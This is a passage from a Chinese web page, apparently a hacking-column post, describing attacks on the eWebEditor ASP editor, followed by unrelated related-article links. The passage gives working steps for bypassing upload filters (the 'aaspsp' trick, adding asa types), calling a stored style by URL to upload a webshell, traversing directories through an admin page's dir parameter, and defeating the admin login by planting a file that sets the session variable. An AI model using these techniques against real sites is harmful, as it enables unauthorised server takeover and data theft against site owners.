style="font-size:16px;">如果加了<span style="font-family:'Times New Roman';">asa</span>类型后发现还是无法上传。应该是站长懂点代码,自己修改了<span style="font-family:'Times New Roman';">Upload.asp</span>文件,但是没有关系,按照常人的思维习惯,往往直接在<span style="font-family:'Times New Roman';">sAllowExt =Replace(UCase(sAllowExt),”asp”,””)</span>一句上修改。</span></p> <p><span style="font-size:16px;">但是我们只要在上传类型中增加“<span style="font-family:'Times New Roman';">aaspsp</span>”<span style="font-family:'Times New Roman';">,</span>就可以传<span style="font-family:'Times New Roman';">asp</span>文件了,<span style="color:rgb(51,51,51);font-family:Verdana;font-size:9pt;"> </span></span></p> <p><span style="font-size:16px;">如果上述两种方法都失败了,则利用<span style="font-family:'Times New Roman';">eWebEditor</span>能够设定自动保存远程文件的类型,我们可以加入<span style="font-family:'Times New Roman';">asp</span>类型。但是如何才能让远程访问的<span style="font-family:'Times New Roman';">asp</span>文件能够以源码形式保存呢?方法是很多的,最简单的方法是将<span style="font-family:'Times New Roman';">IIS</span>中的应用文件映射中的<span style="font-family:'Times New Roman';">ASP</span>删除。</span></p> <p><span style="font-size:16px;">有的站数据库设置了只读属性,这样的站你是无法新加样式的,这样的站你可以看他数据库里的样式设置情况,一般很多时候都是让人给拿过的,而且明显的<span style="font-family:'Times New Roman';">asa</span>在那里。这样的话就可以直接构造一个调用这个样式的连接来上传<span style="font-family:'Times New Roman';">shell.</span></span></p> <p><span style="font-size:16px;">比如发现数据库里有样式<span style="font-family:'Times New Roman';">123</span>他设置的是可以上传<span style="font-family:'Times New Roman';">asa</span>的话,那么就可以这样调用:<span style="font-family:'Times New Roman';color:#333333;">http://www.***.com/eweb/ewebeditor.asp?id=contentCN&style=123</span></span></p> <p><span style="font-size:16px;">这样就可以直接上传了,然后在点编辑就会找到<span style="font-family:'Times New Roman';">shell</span>的路径了。其实这个漏洞主要是<span style="font-family:'Times New Roman';">upload.asp</span>的过滤不严造成的,新版的应该都修复了,具体爱影响的版本我也没统计过。</span></p> <p><span style="font-size:16px;">遍历路径</span></p> <p><span style="font-family:'Times New Roman';font-size:16px;">Ewebeditor</span>遍历路径漏洞,当数据库只读的时候,<span style="font-family:'Times New Roman';">ewebeditor/admin_uploadfile.asp?id=14</span>在<span style="font-family:'Times New Roman';">id=14</span>后面添加<span style="font-family:'Times New Roman';">&dir=</span>再加<span style="font-family:'Times New Roman';">&dir=/</span>或<span style="font-family:'Times New Roman';">&dir=http://www.****.com// </span>看到整个网站文件了,不过此项测试的时候发现,只有登录成功才能进行操作。</p> <p><span style="font-family:'Times New Roman';font-size:16px;">Cookie</span>漏洞</p> <p><span style="font-size:16px;">漏洞文件:<span style="font-family:'Times New Roman';">admin_private.asp</span></span></p> <p><span style="font-size:16px;">漏洞语句:</span></p> <p><span style="font-family:'Times New Roman';font-size:16px;"><% if session (“eWebEditor_User”) = “”Then</span></p> <p><span style="font-family:'Times New Roman';font-size:16px;">Response.Redirect “admin_login.asp”</span></p> <p><span style="font-family:'Times New Roman';font-size:16px;">Response.End</span></p> <p><span style="font-family:'Times New Roman';font-size:16px;">End If</span></p> <p><span style="font-size:16px;">只判断了<span style="font-family:'Times New Roman';">session,</span>没有判断<span style="font-family:'Times New Roman';">cookies</span>和路径的验证问题。</span></p> <p><span style="font-size:16px;">漏洞利用:</span></p> <p><span style="font-size:16px;">新建一个<span style="font-family:'Times New Roman';">mrchen.asp</span>内容如下:</span></p> <p><span style="font-family:'Times New Roman';font-size:16px;"><%Session (“eWebEditor_User”) =”11111111”%></span></p> <p><span style="font-size:16px;">访问<span style="font-family:'Times New Roman';">mrchen.asp</span>,再访问后台任何文件,<span style="font-family:'Times New Roman';">forexample:Admin_Default.asp</span>这个拿<span style="font-family:'Times New Roman';">shell</span>的方法就简单了。</span></p> </div> </div> </div> </div> </div> <!--PC和WAP自适应版--> <div id="SOHUCS" sid="1282927078957662208"></div> <script type="text/javascript" src="/views/front/js/chanyan.js"></script> <!-- 文章页-底部 动态广告位 --> <div class="youdao-fixed-ad" id="detail_ad_bottom"></div> </div> <div class="col-md-3"> <div class="row" id="ad"> <!-- 文章页-右侧1 动态广告位 --> <div id="right-1" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad"> <div class="youdao-fixed-ad" id="detail_ad_1"> </div> </div> <!-- 文章页-右侧2 动态广告位 --> <div id="right-2" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad"> <div class="youdao-fixed-ad" id="detail_ad_2"></div> </div> <!-- 文章页-右侧3 动态广告位 --> <div id="right-3" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad"> <div class="youdao-fixed-ad" id="detail_ad_3"></div> </div> </div> </div> </div> </div> </div> <div class="container"> <h4 class="pt20 mb15 mt0 border-top">你可能感兴趣的:(龙铭洪,-,网站Web,龙铭洪,-,互联网,中国黑客专栏,asp,数据库,list,function,url,javascript)</h4> <div id="paradigm-article-related"> <div class="recommend-post mb30"> <ul class="widget-links"> <li><a href="/article/1903883482262728704.htm" title="Electron打包文件生成.exe文件打开即可使用" target="_blank">Electron打包文件生成.exe文件打开即可使用</a> <span class="text-muted">糕冷小美n</span> <a class="tag" taget="_blank" href="/search/electron/1.htm">electron</a><a class="tag" taget="_blank" href="/search/javascript/1.htm">javascript</a><a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a> <div>1、Electron打包,包括需要下载的内容和环境配置步骤注意:Electron是一个使用JavaScript、HTML和CSS构建跨平台桌面应用程序的框架首先需要电脑环境有Node.js和npm我之前的文章有关nvm下载node的说明也可以去官网下载检查是否有node和npm环境命令node-vnpm-v输出版本号,说明安装成功2、创建Electron项目2.1创建项目目录打开命令行工具,创建一</div> </li> <li><a href="/article/1903883355305340928.htm" title="JavaScript基础-事件对象" target="_blank">JavaScript基础-事件对象</a> <span class="text-muted">難釋懷</span> <a class="tag" taget="_blank" href="/search/javascript/1.htm">javascript</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a> <div>在现代Web开发中,事件处理是实现动态和交互式网页的核心。当用户与页面进行交互时(如点击按钮、提交表单等),浏览器会生成相应的事件。为了有效地响应这些事件,JavaScript提供了事件对象,它包含了关于事件的详细信息。本文将详细介绍事件对象的概念、重要的属性和方法,并通过实例展示其应用场景。一、什么是事件对象?每当一个事件被触发时,浏览器都会创建一个事件对象,这个对象包含了该事件的所有相关信息,</div> </li> <li><a href="/article/1903882713392279552.htm" title="debian(ubuntu) 系统 vsftpd 配置虚拟帐号" target="_blank">debian(ubuntu) 系统 vsftpd 配置虚拟帐号</a> <span class="text-muted">eli960</span> <a class="tag" taget="_blank" href="/search/LINUX/1.htm">LINUX</a><a class="tag" taget="_blank" href="/search/vsftpd/1.htm">vsftpd</a><a class="tag" taget="_blank" href="/search/ftp/1.htm">ftp</a> <div>首先说明帐号的认证通过pam认证方式,采用pam的mysql插件.安装libpam-mysql和vsftpdapt-getinstalllibpam-mysqlapt-getinstallvsftpdmysql的库,表,字段,假设如下:库名DBV表名TB字段USER和PASSWORD数据库的帐号密码DBUSERDBPASSWROD/etc/pam.d/vsftpd的内容如下authrequired</div> </li> <li><a href="/article/1903882334751485952.htm" title="node-ddk, electron 组件,任务栏,托盘,通知" target="_blank">node-ddk, electron 组件,任务栏,托盘,通知</a> <span class="text-muted">eli960</span> <a class="tag" taget="_blank" href="/search/node-ddk/1.htm">node-ddk</a><a class="tag" taget="_blank" href="/search/electron/1.htm">electron</a><a class="tag" taget="_blank" href="/search/javascript/1.htm">javascript</a><a class="tag" taget="_blank" href="/search/node.js/1.htm">node.js</a> <div>node-ddk任务栏,托盘,通知https://blog.csdn.net/eli960/article/details/146207062也可以下载demo直接演示http://linuxmail.cn/go#node-ddk在渲染进程(既web端)操作importrenderer,{NODEDDK}from"node-ddk/renderer"letw=renderer.window//让托</div> </li> <li><a href="/article/1903882333396725760.htm" title="Java 常用类Date" target="_blank">Java 常用类Date</a> <span class="text-muted">浅橙boy</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a> <div>这次介绍Java中常用类中的一种Date,一般常用的Date的包名为util即java.util.Date。还有一种Date类的包名为spl即java.spl.Date,这次不做介绍。包名为spl的Date类作用于和spl数据库打交道,其内容只包括日期,没有时间,包名为util的Date类作用于平常日期使用其内容包括日期和时间,且大部分的构造器和方法已经过时了,下面介绍的是平时还可以使用的方法和构</div> </li> <li><a href="/article/1903880065377169408.htm" title="P3375 【模板】KMP" target="_blank">P3375 【模板】KMP</a> <span class="text-muted">好好学习^按时吃饭</span> <a class="tag" taget="_blank" href="/search/%E7%AE%97%E6%B3%95/1.htm">算法</a> <div>题目来自洛谷网站:思路:从题目名字知道这是KMP模板题目,对于KMP算法,就两步,1、构造next数组。2、在s1中找到s2出现的位置。KMP代码:#includeusingnamespacestd;constintN=1e6+10;chars1[N],s2[N];//全局变量名字不能定义为next//C++标准库中有一个函数名字是nextintnext1[N];//ne数组intmain(){/</div> </li> <li><a href="/article/1903876660910944256.htm" title="Three.js世界中的三要素:场景、相机、渲染器" target="_blank">Three.js世界中的三要素:场景、相机、渲染器</a> <span class="text-muted">Front_Yue</span> <a class="tag" taget="_blank" href="/search/3D%E6%8A%80%E6%9C%AF%E5%AE%9E%E8%B7%B5%E6%8C%87%E5%8D%97/1.htm">3D技术实践指南</a><a class="tag" taget="_blank" href="/search/javascript/1.htm">javascript</a><a class="tag" taget="_blank" href="/search/three.js/1.htm">three.js</a><a class="tag" taget="_blank" href="/search/3d/1.htm">3d</a> <div>一、Three.js简介Three.js是一个基于WebGL的JavaScript库,它允许开发者在网页上创建和显示复杂的3D图形和动画,而无需用户安装任何额外的插件或软件。Three.js在Web开发中的地位非常重要,它通过提供简单直观的API,极大地降低了3D图形开发的门槛,使得开发者可以更专注于实现创意。Three.js广泛应用于游戏开发、虚拟现实、数据可视化、艺术创作等多个领域。二、场景:</div> </li> <li><a href="/article/1903873762076454912.htm" title="PHP框架为基础的购物平台设计思路分步骤说明" target="_blank">PHP框架为基础的购物平台设计思路分步骤说明</a> <span class="text-muted">星糖曙光</span> <a class="tag" taget="_blank" href="/search/%E5%90%8E%E7%AB%AF%E8%AF%AD%E8%A8%80%EF%BC%88node/1.htm">后端语言(node</a><a class="tag" taget="_blank" href="/search/javascript/1.htm">javascript</a><a class="tag" taget="_blank" href="/search/vue%E7%AD%89%E7%AD%89%EF%BC%89/1.htm">vue等等)</a><a class="tag" taget="_blank" href="/search/%E5%AD%A6%E4%B9%A0/1.htm">学习</a><a class="tag" taget="_blank" href="/search/%E8%AF%BE%E7%A8%8B%E8%AE%BE%E8%AE%A1/1.htm">课程设计</a><a class="tag" taget="_blank" href="/search/vue.js/1.htm">vue.js</a><a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/php/1.htm">php</a> <div>以下是以PHP框架为基础的购物平台设计思路分步骤说明:一、技术选型阶段技术栈={后端框架:Laravel/Yii2(提供ORM、路由、中间件支持)前端框架:Vue.js/React(可选SPA方案)数据库:MySQL8.0+(事务型数据存储)缓存:Redis(会话/商品缓存)队列:RabbitMQ(异步处理订单)\text{技术栈}=\begin{cases}后端框架:Laravel/Yii2(提</div> </li> <li><a href="/article/1903870731561791488.htm" title="CentOS 7 64位安装Docker" target="_blank">CentOS 7 64位安装Docker</a> <span class="text-muted">咯拉咯啦</span> <a class="tag" taget="_blank" href="/search/Docker/1.htm">Docker</a><a class="tag" taget="_blank" href="/search/docker/1.htm">docker</a> <div>以下是在已有的CentOS764位虚拟机上安装Docker并配置华为镜像源的详细步骤:1.备份原有Yum源(可选,建议操作)#备份原有仓库文件sudomv/etc/yum.repos.d/CentOS-Base.repo/etc/yum.repos.d/CentOS-Base.repo.backup2.更换CentOS7Yum源为华为源#下载华为云CentOS7的仓库文件sudocurl-o/et</div> </li> <li><a href="/article/1903865690289401856.htm" title="Camera2 实现重力感应四个方向调试相机预览" target="_blank">Camera2 实现重力感应四个方向调试相机预览</a> <span class="text-muted">ItJavawfc</span> <a class="tag" taget="_blank" href="/search/Camera/1.htm">Camera</a><a class="tag" taget="_blank" href="/search/Camera2/1.htm">Camera2</a><a class="tag" taget="_blank" href="/search/Camera/1.htm">Camera</a><a class="tag" taget="_blank" href="/search/%E9%87%8D%E5%8A%9B%E6%84%9F%E5%BA%94%E9%80%82%E9%85%8D%E6%96%B9%E5%90%91/1.htm">重力感应适配方向</a><a class="tag" taget="_blank" href="/search/%E9%A2%84%E8%A7%88/1.htm">预览</a> <div>Camera2API实现重力感应四个方向调试相机预览文章目录需求场景需求实现setAspectRatio设置显示长宽postScalepostRotate设置缩放和旋转manager.openCamera打开相机startPreviewgetPreviewRequestBuilder设置预览参数:createCaptureSession预览准备工作setRepeatingRequest请求预览总结</div> </li> <li><a href="/article/1903865186255695872.htm" title="量化交易系统中如何处理机器学习模型的训练和部署?" target="_blank">量化交易系统中如何处理机器学习模型的训练和部署?</a> <span class="text-muted">openwin_top</span> <a class="tag" taget="_blank" href="/search/%E9%87%8F%E5%8C%96%E4%BA%A4%E6%98%93%E7%B3%BB%E7%BB%9F%E5%BC%80%E5%8F%91/1.htm">量化交易系统开发</a><a class="tag" taget="_blank" href="/search/%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0/1.htm">机器学习</a><a class="tag" taget="_blank" href="/search/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/1.htm">人工智能</a><a class="tag" taget="_blank" href="/search/%E9%87%8F%E5%8C%96%E4%BA%A4%E6%98%93/1.htm">量化交易</a> <div>microPythonPython最小内核源码解析NI-motion运动控制c语言示例代码解析python编程示例系列python编程示例系列二python的Web神器Streamlit如何应聘高薪职位量化交易系统中,机器学习模型的训练和部署需要遵循一套严密的流程,以确保模型的可靠性、性能和安全性。以下是详细描述以及相关的示例:1.数据收集和预处理数据收集在量化交易中,数据是最重要的资产。收集的数</div> </li> <li><a href="/article/1903863672028065792.htm" title="基于Streamlit实现的音频处理示例" target="_blank">基于Streamlit实现的音频处理示例</a> <span class="text-muted">大霸王龙</span> <a class="tag" taget="_blank" href="/search/%E9%9F%B3%E8%A7%86%E9%A2%91/1.htm">音视频</a><a class="tag" taget="_blank" href="/search/ffmpeg/1.htm">ffmpeg</a> <div>基于Streamlit实现的音频处理示例,包含录音、语音转文本、文件下载和进度显示功能,整合了多个技术方案:一、环境准备#安装依赖库pipinstallstreamlitstreamlit-webrtcaudio-recorder-streamlitopenai-whisperpython-dotx二、完整示例代码importstreamlitasstfromaudio_recorder_stre</div> </li> <li><a href="/article/1903862535828860928.htm" title="夜莺[n9e] v6 中心机房部署" target="_blank">夜莺[n9e] v6 中心机房部署</a> <span class="text-muted">DuanHao_</span> <a class="tag" taget="_blank" href="/search/prometheus/1.htm">prometheus</a> <div>文章目录夜莺v6中心机房部署n9e监控服务VictoriaMetrics时序数据库Categraf采集器夜莺v6中心机房部署n9e监控服务项目介绍-快猫星云(flashcat.cloud)IP:192.168.*.*端口:17000安装部署安装路径192.168.*.*/opt/n9eMysql:存放配置类别信息,如用户,监控大盘,告警规则等Redis:存放访问令牌(JWTToken),心跳信息,</div> </li> <li><a href="/article/1903861527400738816.htm" title="ArrayList 和 LinkedList区别" target="_blank">ArrayList 和 LinkedList区别</a> <span class="text-muted">重生之我在成电转码</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E5%A4%9A%E7%BA%BF%E7%A8%8B/1.htm">多线程</a><a class="tag" taget="_blank" href="/search/%E7%B3%BB%E7%BB%9F/1.htm">系统</a> <div>一、底层实现特性ArrayListLinkedList数据结构动态数组(Object[]数组)双向链表(每个节点有前驱和后继)内存布局连续内存,空间利用率高非连续内存,空间占用大元素访问方式下标随机访问(基于索引)只能顺序遍历,找元素慢⏱二、时间复杂度对比(核心!)操作ArrayListLinkedList随机访问O(1)O(n)头部插入O(n)(全体后移)O(1)中间插入O(n)O(n)尾部插入</div> </li> <li><a href="/article/1903861275209822208.htm" title="npm install 报错 gyp info it worked if it ends with ok npm ERR gyp verb cli [" target="_blank">npm install 报错 gyp info it worked if it ends with ok npm ERR gyp verb cli [</a> <span class="text-muted">m0_61083409</span> <a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a><a class="tag" taget="_blank" href="/search/html/1.htm">html</a><a class="tag" taget="_blank" href="/search/npm/1.htm">npm</a><a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a><a class="tag" taget="_blank" href="/search/node.js/1.htm">node.js</a> <div>今天新启动一个项目,在npminstall安装依赖项时出现报错。ERR!code1npmERR!pathC:UsersAdministratorDesktope31mall-admin-webode_modulesode-sassnpmERR!commandfailednpmERR!commandC:Windowssystem32cmd.exe/d/s/cnodescripts/build.jsn</div> </li> <li><a href="/article/1903860767069892608.htm" title="深入了解 ArangoDB 的图数据库应用与 Python 实践" target="_blank">深入了解 ArangoDB 的图数据库应用与 Python 实践</a> <span class="text-muted">eahba</span> <a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a><a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a> <div>在当前数据驱动的时代,对连接数据的高效处理和分析需求日益增长。ArangoDB作为一个可扩展的图数据库系统,能够加速从连接数据中获取价值。本文将介绍如何使用Python连接和操作ArangoDB,并展示如何结合图问答链来获取数据洞察。技术背景介绍ArangoDB是一个多模型数据库,支持文档、图和键值类型的数据存储。其强大的图形存储和查询能力使其成为处理复杂数据关系的理想选择。通过JSON支持和单一</div> </li> <li><a href="/article/1903859506308247552.htm" title="基于JAVA中的spring框架和jsp实现自然灾害论坛平台项目【附项目源码+论文说明】" target="_blank">基于JAVA中的spring框架和jsp实现自然灾害论坛平台项目【附项目源码+论文说明】</a> <span class="text-muted">大雄是个程序员</span> <a class="tag" taget="_blank" href="/search/%E9%A1%B9%E7%9B%AE%E5%AE%9E%E8%B7%B5/1.htm">项目实践</a><a class="tag" taget="_blank" href="/search/%E8%87%AA%E7%84%B6%E7%81%BE%E5%AE%B3%E8%AE%BA%E5%9D%9B%E5%B9%B3%E5%8F%B0/1.htm">自然灾害论坛平台</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E9%A1%B9%E7%9B%AE%E6%BA%90%E7%A0%81/1.htm">项目源码</a><a class="tag" taget="_blank" href="/search/spring/1.htm">spring</a><a class="tag" taget="_blank" href="/search/%E6%AF%95%E4%B8%9A%E8%AE%BE%E8%AE%A1/1.htm">毕业设计</a><a class="tag" taget="_blank" href="/search/%E8%AF%BE%E7%A8%8B%E8%AE%BE%E8%AE%A1/1.htm">课程设计</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E9%A1%B5%E8%AE%BE%E8%AE%A1/1.htm">网页设计</a> <div>摘要在上个世纪末期,也就是20世纪末,随着计算机技术的发展与进步和数据库方面的知识在互联网的大力运用,互联网技术以及网站技术在网上的大力推广,网上论坛(自然灾害论坛)也逐渐在网兴起,它的出现帮助了网上各种特定的群体进行一个在线的知识传递与信息的交流。本计算机自然灾害论坛设计,采用了JSP(JAVA)技术和MYSQL数据库开发,尝试实现了自然灾害论坛的基本功能以及帮助我们掌握了论坛技术的核心特点。该</div> </li> <li><a href="/article/1903857615067213824.htm" title="股票量化交易开发 Yfinance" target="_blank">股票量化交易开发 Yfinance</a> <span class="text-muted">数字化转型2025</span> <a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a> <div>以下是一段基于Python的股票量化分析代码,包含数据获取、技术指标计算、策略回测和可视化功能:pythonimportyfinanceasyfimportpandasaspdimportnumpyasnpimportmatplotlib.pyplotaspltimportseabornassnsfrombacktestingimportBacktest,Strategyfrombacktesti</div> </li> <li><a href="/article/1903855978508513280.htm" title="如何实现具备自动重连与心跳检测的WebSocket客户端" target="_blank">如何实现具备自动重连与心跳检测的WebSocket客户端</a> <span class="text-muted">FFF-X</span> <a class="tag" taget="_blank" href="/search/websocket/1.htm">websocket</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E5%8D%8F%E8%AE%AE/1.htm">网络协议</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C/1.htm">网络</a> <div>本文介绍如何通过原生WebSocketAPI封装一个具备自动重连、心跳检测、错误恢复等能力的稳健客户端。适用于需要长连接的实时通讯场景(如聊天室、实时数据监控等)。核心功能亮点自动重连机制-指数退避策略重连心跳保活-双向检测连接活性消息可靠性-失败消息自动重发异常处理-错误分类处理机制状态管理-精准控制连接生命周期关键优化点说明事件监听优化改用addEventListener替代onopen等属性</div> </li> <li><a href="/article/1903854968197148672.htm" title="人民日报报道,华为云赋能智能制造助力图扑软件构造数字孪生场景" target="_blank">人民日报报道,华为云赋能智能制造助力图扑软件构造数字孪生场景</a> <span class="text-muted">智慧园区</span> <a class="tag" taget="_blank" href="/search/%E5%8D%8E%E4%B8%BA/1.htm">华为</a><a class="tag" taget="_blank" href="/search/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/1.htm">人工智能</a><a class="tag" taget="_blank" href="/search/%E7%89%A9%E8%81%94%E7%BD%91/1.htm">物联网</a> <div>2021年12月22日,《人民日报》头版头条刊登了《华为云赋能智能制造,助力图扑软件构造数字孪生场景》一文,聚焦数据可视化建设发展。报道指出,数字经济发展的背后,是大数据时趋势下各地区积极贯彻国家数字经济发展战略的时代精神;高效便捷管控的背后,是云端平台各大企业的互助共赢;高质精准2D、3D数据可视图的背后,是专注于数据可视化Web组态开发的厦门图扑软件科技有限公司。并对厦门图扑软件科技有限公司进</div> </li> <li><a href="/article/1903851687404171264.htm" title="JS基础-事件模型(事件&事件流&自定义事件&事件冒泡/代理)" target="_blank">JS基础-事件模型(事件&事件流&自定义事件&事件冒泡/代理)</a> <span class="text-muted">LYFlied</span> <a class="tag" taget="_blank" href="/search/html%26amp%3B%E6%B5%8F%E8%A7%88%E5%99%A8/1.htm">html&浏览器</a><a class="tag" taget="_blank" href="/search/javascript/1.htm">javascript</a><a class="tag" taget="_blank" href="/search/%E4%BA%8B%E4%BB%B6%E6%A8%A1%E5%9E%8B/1.htm">事件模型</a><a class="tag" taget="_blank" href="/search/%E4%BA%8B%E4%BB%B6%E6%B5%81/1.htm">事件流</a><a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a><a class="tag" taget="_blank" href="/search/%E9%9D%A2%E8%AF%95/1.htm">面试</a> <div>文章目录一、事件与事件流二、事件模型1.DOM0级模型2.IE事件模型3.DOM2级模型4.DOM3级事件处理方式三、事件对象四、事件绑定与解除1.事件绑定1.1对象.on事件名字=事件处理函数1.2.对象.addEventListener("没有on的事件名字",事件处理函数,false)3.对象.attachEvent("有on的事件名字",事件处理函数);2.解除绑定五、EventWrapp</div> </li> <li><a href="/article/1903850929363415040.htm" title="JavaScript基础-DOM的一些基本常用语法" target="_blank">JavaScript基础-DOM的一些基本常用语法</a> <span class="text-muted">Southern Wind</span> <a class="tag" taget="_blank" href="/search/JavaScript/1.htm">JavaScript</a><a class="tag" taget="_blank" href="/search/javascript/1.htm">javascript</a> <div>总结了一下JS一直到DOM中所用的单词的用法输入方式:window.prompt('请输入数据');输出方式:1、window.alert('HelloJavaScript');2、console.log输出到控制台3、输出数据到页面document.write('hello')JavaScript数据类型1、基本类型string:字符型number:数值型boolean:布尔型2、特殊类型und</div> </li> <li><a href="/article/1903850677071835136.htm" title="通过浏览器扩展获取本机 MAC 地址" target="_blank">通过浏览器扩展获取本机 MAC 地址</a> <span class="text-muted">云水木石</span> <a class="tag" taget="_blank" href="/search/macos/1.htm">macos</a> <div>在Web技术主导的B/S架构项目中,获取终端设备硬件信息(如MAC地址)的需求经常会碰到。尽管Electron/CEF等混合应用框架可通过系统级API轻松实现,但纯浏览器环境下的硬件信息获取则不那么容易。因为现代浏览器基于沙箱机制和隐私保护策略,严格禁止网页直接访问底层硬件资源。但用户的需求不能不考虑,特别是在做商业项目时,这时就不得不给出方案,总结下来有如下三种方案:扩展JSAPI:比如以前在做</div> </li> <li><a href="/article/1903849795148115968.htm" title="CopyOnWriteArrayList详解" target="_blank">CopyOnWriteArrayList详解</a> <span class="text-muted">重生之我在成电转码</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a><a class="tag" taget="_blank" href="/search/%E9%9B%86%E5%90%88/1.htm">集合</a> <div>1️⃣什么是CopyOnWriteArrayList?java.util.concurrent包下的线程安全的List读多写少场景下的性能优选核心思想:写时复制(Copy-On-Write)2️⃣底层原理内部维护一个volatileObject[]array读操作:直接读取数组,不加锁,性能极高写操作(增删改):加ReentrantLock互斥锁把原数组复制一份新数组在新数组上操作操作完成后,替换</div> </li> <li><a href="/article/1903849794544136192.htm" title="binlog和redolog" target="_blank">binlog和redolog</a> <span class="text-muted">重生之我在成电转码</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a><a class="tag" taget="_blank" href="/search/%E6%97%A5%E5%BF%97/1.htm">日志</a> <div>好的!这两个是MySQL面试核心知识点,下面详细解释:✅一、概念区分内容binlog(归档日志)redolog(重做日志)属于MySQL层(Server层)InnoDB存储引擎层作用记录所有修改数据库的数据操作(逻辑日志)保障事务的持久性(崩溃后可恢复数据)存储内容SQL语句或事件(INSERT、UPDATE、DELETE)物理页修改(物理日志)写入时机执行完SQL后写入执行SQL时先写入落盘时机</div> </li> <li><a href="/article/1903846390526701568.htm" title="【读点论文】Chain Replication for Supporting High Throughput and Availability" target="_blank">【读点论文】Chain Replication for Supporting High Throughput and Availability</a> <span class="text-muted">寻雾&启示</span> <a class="tag" taget="_blank" href="/search/%E5%88%86%E5%B8%83%E5%BC%8F%E7%B3%BB%E7%BB%9F/1.htm">分布式系统</a><a class="tag" taget="_blank" href="/search/%E8%AE%BA%E6%96%87%E9%98%85%E8%AF%BB/1.htm">论文阅读</a> <div>在分布式系统中,强一致性往往和高可用、高吞吐是矛盾的。比如传统的关系型数据库,其保证了强一致性,但往往牺牲了可用性和吞吐量。而像NoSQL数据库,虽然其吞吐量、和扩展性很高,但往往只支持最终一致性,无法保证强一致性。由此ChainReplicationforSupportingHighThroughputandAvailability提出了链式复制协议,旨在保证高吞吐、高可用的同时,支持数据的强一</div> </li> <li><a href="/article/1903845255510290432.htm" title="计算机基础:编码04,认识反码和补码" target="_blank">计算机基础:编码04,认识反码和补码</a> <span class="text-muted">水饺编程</span> <a class="tag" taget="_blank" href="/search/MFC%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/1.htm">MFC学习笔记</a><a class="tag" taget="_blank" href="/search/Win32%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/1.htm">Win32学习笔记</a><a class="tag" taget="_blank" href="/search/windows/1.htm">windows</a><a class="tag" taget="_blank" href="/search/c%2B%2B/1.htm">c++</a><a class="tag" taget="_blank" href="/search/mfc/1.htm">mfc</a><a class="tag" taget="_blank" href="/search/c%E8%AF%AD%E8%A8%80/1.htm">c语言</a> <div>专栏导航本节文章分别属于《Win32学习笔记》和《MFC学习笔记》两个专栏,故划分为两个专栏导航。读者可以自行选择前往哪个专栏。(一)WIn32专栏导航上一篇:计算机基础:编码03,根据十进制数,求其原码回到目录下一篇:无(二)MFC专栏导航上一篇:计算机基础:编码03,根据十进制数,求其原码回到目录下一篇:无本节前言在前两节,我讲解了关于原码的知识。本节,我来讲解反码和补码。在学习本节之前,你需</div> </li> <li><a href="/article/1903843363333926912.htm" title="JavaScript基础-删除事件(解绑事件)" target="_blank">JavaScript基础-删除事件(解绑事件)</a> <span class="text-muted">難釋懷</span> <a class="tag" taget="_blank" href="/search/javascript/1.htm">javascript</a><a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a> <div>在现代Web开发中,动态地添加和移除事件处理器是构建交互式网页的关键技能之一。虽然添加事件处理器相对直观,但了解如何有效地移除或“解绑”这些处理器同样重要。这不仅有助于优化性能,还能防止潜在的内存泄漏问题。本文将介绍几种方法来删除JavaScript中的事件处理器,并探讨它们的应用场景及最佳实践。一、为什么需要删除事件?随着页面复杂度的增加,不恰当地管理事件处理器可能会导致性能下降或出现意外行为。</div> </li> <li><a href="/article/1903840340549365760.htm" title="【自建分布式数据库详细指南】(五)使用:常见API及使用问题" target="_blank">【自建分布式数据库详细指南】(五)使用:常见API及使用问题</a> <span class="text-muted">大板牙花生</span> <a class="tag" taget="_blank" href="/search/%E5%88%86%E5%B8%83%E5%BC%8F/1.htm">分布式</a> <div>延续前几篇文章,下面着重从一些基本的API讲讲从入门到习惯的常用方法,后续更新。USAGE1节点管理设置主节点,又成为协调节点SELECTcitus_set_coordinator_host('coord.example.com',5432);step1.创建节点select*frommaster_add_node('new-node',12345);step2.删除节点step3.新增节点后重新</div> </li> <li><a href="/article/1903839581837520896.htm" title="form的表单序列化" target="_blank">form的表单序列化</a> <span class="text-muted">码田里的小白菜</span> <a class="tag" taget="_blank" 